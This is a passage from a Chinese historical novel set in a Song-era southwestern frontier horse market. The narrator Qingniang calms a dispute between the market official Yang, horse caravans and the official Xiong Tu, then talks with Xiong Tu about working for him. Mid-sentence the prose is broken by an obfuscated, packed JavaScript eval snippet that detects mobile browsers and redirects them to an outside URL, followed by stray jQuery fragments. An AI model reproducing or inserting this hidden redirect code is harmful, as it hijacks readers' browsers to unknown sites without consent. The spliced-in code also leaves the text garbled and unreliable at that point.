可用于征战乘骑的乌蒙良马，大多出自石门蕃，奈何石门蕃各部内战已有大半年，牛广河方向过来的马匹数量锐减，良马更是十不足一。


    为保战马供应，朝廷下诏茶马司与西南州府良马定额，完不成便要治罪。故而，各州行市对于流入的良马，看护得均跟眼珠子似的。


    顺着差役所指方向，行出不远，便闻人声嘈杂。


    有个熟悉的声音操着流利的乌蛮话道：“你们若是嫌这边行市开的价低，不妨上泸州瞧瞧。泸州有军马场，良马定额多，官市的收价或许要高上一些。”


    “大锅头，索性我们把马拉去泸州卖吧！”


    “泸州……还是远了些。”


    “并不算远。最近的梅岭榷场离此地三百二十里，马行三日足矣。”


    “大锅头，要不要去？”


    “让我再想想。”


    在并不存在的语言障碍面前，我难以想像马帮那些碎嘴子的话，他到底听进去多少……太阳穴突突直跳，我摁着额角，很想掉头就走。


    便在此时，又一个熟悉的声音响起：“大胆！”只见杨主事打斜刺里冲出，双手把住熊图衣襟，怒气冲冲嚷道，“好你个梅岭来的探子！青天白日，竟敢跑到我悦州行市，打起良马的主意来了！快说！是不是何佺派你来的？！”


    何佺是茶马司常驻梅岭榷场的主事，听闻何杨二人原是共处一室的同僚，素日不睦，各自被主官支去驻边。虽说两名老吏甚少再有机会谋面，但业绩上的比拼，却更胜从前。


    熊图扶住杨主事道：“老大人息怒。在下只是路过，见他们在此踌躇，便上前聊了几句，并非受人指使。”


    “哼！”杨主事抓着熊图的衣襟不放，“你们说的话，我都听见了！你少跟我装！早不路过，晚不路过，专挑大集的日子路过。


    “我告诉你——边市里能说地道夷话的汉人只有两种，一是茶马司的熟手；二是榷场判官。我在悦州可没见过你这号人物，你老实说，你是哪个边市的？为何要来悦州，撬我杨某人墙脚？！”


    熊图扶着杨主事苦笑：“老大人，在下并非你方才说的那两种人，在下真的只是路过。”


    杨主事仍拉着他吹胡子瞪眼：“我不信！”


    “不知老大人——要如何才肯相信在下？”


    “省不得要个相熟的做保人。”


    几位马锅头已经看傻眼了，杵在原地，一言不发，周边的人群越聚越多。


    眼瞅着巡检司的弓兵就要往此处来，我拨开人群入内，硬着头皮唤道：“杨主事，松手。”


    杨主事一脸错愕，撒手道：“青娘子认识此人？”


    我干咳一声：“是。”


    杨主事站到我身旁，看看我，又看看熊图，气鼓鼓出声：“青娘子，你真认识他？”


    “他是我一位朋友——”见老人家面色不太好的样子，我忙补充道，“的朋友，来边地多年，近日途经悦州，听闻大集热闹，便过来逛逛。”


    “原来如此。”杨主事睇向熊图，颇不情愿地拱了拱手，“看来是误会了！”


    熊图含笑执手：“老大人明鉴。”


    马帮的人呼啦啦围拢过来，七嘴八舌道：“杨主事，你不晓得石门蕃现在乱成什么样，我们过来一趟有多不容易！你得给我们加价！”


    “就是！你不加，我们可转去泸州了！”


    “各位，各位，大家都不容易！”杨主事摊手言道，“我开给你们的，是行市最高价。在你们来之前，已经收进一匹，秤台票证可查。不是我不愿松口，若是我依了你们，这行市的公道何在？往后有样学样，个个拥马起价，这生意就没得做了！”


    “别人的公道，跟我们有什么关系？我最听不得你们汉人的大道理，弯弯绕绕，指东说西。你倒是加不加么，给个准话！”


    “加钱！”


    “加钱！”


    “嗳呦——”杨主事被他们嚷得焦头烂额，转向我道，“青娘子，这其中的轻重厉害，你是明白人，倒是替我劝劝他们。”


    我抄手笑道：“各位锅头，听我一言。的确泸州有军马场，官市开出的良马收价，或许会比悦州高上一些。


    “不过，此去梅岭，多为山路，近来雨水偏多，路上来回怕是要耽搁多日。我看你们还带了滇红，现在拉到黎州边境能赶上好价钱，再晚些时日，屏山的川红大量上市，你们大老远背过来的茶，只怕要折价。


    “两边算算，其实差不了多少钱。这会把马出了，既能省下去梅岭的草料，也不用担负路上马匹生病的风险，更为要紧的——尽快跑完这趟货，还能早些返家陪婆娘娃崽是不是？”


    杨主事朝我连连拱手：“青娘子所言极是！”


    “大锅头，要么我们还是不折腾了吧？”


    “是啊。我阿妈眼睛不好，弟妹年纪还小，都盼着我尽早回去呢！”


    “行！出就出！”


    杨主事乐得胡子翘上了天，小跑到牵马的锅头跟前，从其手中夺下缰绳，大声道：“随我来，都随我来！”


    围观人群散去。


    熊图笑着向我行来：“昨日青娘子还说——我是你的朋友，为何今天就变成‘朋友的朋友’了？”


    我拧身就走：“你自找的！”


    熊图跟过来道：“难怪州府照会上，济周顶着他们府官的压力，也要竭力举荐青娘子为行市判官。方才这一番应对，当真是难得的人才。”


    我甩了甩手：“早些回你的泸州去吧，别在这捣乱。”


    “我哪里捣乱了？”


    我睨他一眼：“你若是不嫌丢人，我即刻去唤他们过来——好好拜见你这位府官大人！”言罢，快步走向秤台。


    熊图紧追数步，拉住我的胳膊：“哎，别走！”


    我急停转身，怒目相向。


    他倏地松开，竖起双手，退后两步道：“对不住！我无意冒犯。青娘子，你留在此地，属实大才小用了。不如随我赴泸州，那里有西


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16462337|181191||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    南最大的马市，抽佣我再加你三成，做我泸州边市的判官可好？”


    我皱眉道：“我可不稀罕当什么判官，赚多少佣金。我在此间，不过是为了帮韦大人的忙而已。”


    “那你……为何不能来帮我的忙？”


    “明知故问。”我微哂道，“你在西南深耕十年；韦大人孤身至此，仅有数月。我帮你，不过是锦上添花；我帮韦大人，却是雪中送炭。


    “青城生在南广、长在南广，似韦大人这般体恤民情的流官实不多见，帮他即是帮我自己，也是帮我的乡邻族亲。”


    熊图沉默片刻，低叹：“是啊，我到西南已有十年。十年之间，遇见过许多人，经历过许多事，可真正令我感到愉悦的时光，却是在客栈与你们朝夕相处的这一个多月。说来我很羡慕济周，他何其有幸，初入西南，即能结交到青娘子、柳先生这样的朋友。”


    我轻笑：“只要大人不嫌弃我们南广僚人凶蛮懒惰，空闲之时，常过来走动走动便是。”


    熊图揖手，言辞诚恳：“熊某从前被仇恨遮蔽双眼，一直以来对边民异族怀有偏见。实则，汉人心之所愿，亦是僚人心之所向。华夷一统，在疆域，更在人心。熊某往后定当养善抑恶，不再重汉轻夷，还望青娘子不吝提醒。”


    我回以单拳礼：“大人雅量高致，青城拭目以待。”


    不远处，一名差役唤道：“青娘子，杨主事喊你过去喝茶！”


    “来了！”我应声，扭头问熊图，“老大人的茶，你要去喝吗？”


    熊图连连摆手：“不了，不了！”


    我笑道：“那你四处转转，撬墙脚的事别干，杨主事可不好惹。”


    我独自来到秤台，杨主事给我新泡了滇红，喝了几水，听走南闯北的锅头们闲聊，得知——罗氏国南部秋旱，六冲河竟然断流；北部又遭遇蝗灾，永宁河下游的百姓纷纷抛荒，逃往宋境晏州。


    雪上加霜的是——就在前月，罗氏大鬼主暴毙，未及留下遗嘱，二十多个有继承权的叔侄为争首领之位，已打成一锅粥。


    众人唏嘘：再过上一年半载，罗氏国只怕要和石门蕃一样，落到生吃人肉的地步……唏嘘之余，亦在庆幸——好在十二年前，人少地贫的南广纳入大宋羁縻，血雨腥风之中，尚能安栖一隅。


    正午一过，赶早市的外地马帮散去不少。午市过来的，多为附近峒民，带着积攒许久的山货，换些粗缯、瓷器之类的日用品。


    之前有几个南溪过来设摊的货郎，滑头得紧，用劣缯换走峒民的兽皮。杨主事知晓后，差人将奸商的货物没收，人也撵跑了。从此之后，行市内小宗的以物置物，再未出现大的争议。


    眼瞅着秤台清闲下来，我与杨主事话别，从衣兜里摸出米粑，一路啃着往回走。


    行至榷场门口，身后传来一声悠长的马嘶，我迅疾闪到一侧站定。


    “笃——”熊图纵马拦住我的去路，语气似有不悦，“青娘子，你回去也不叫我一声。”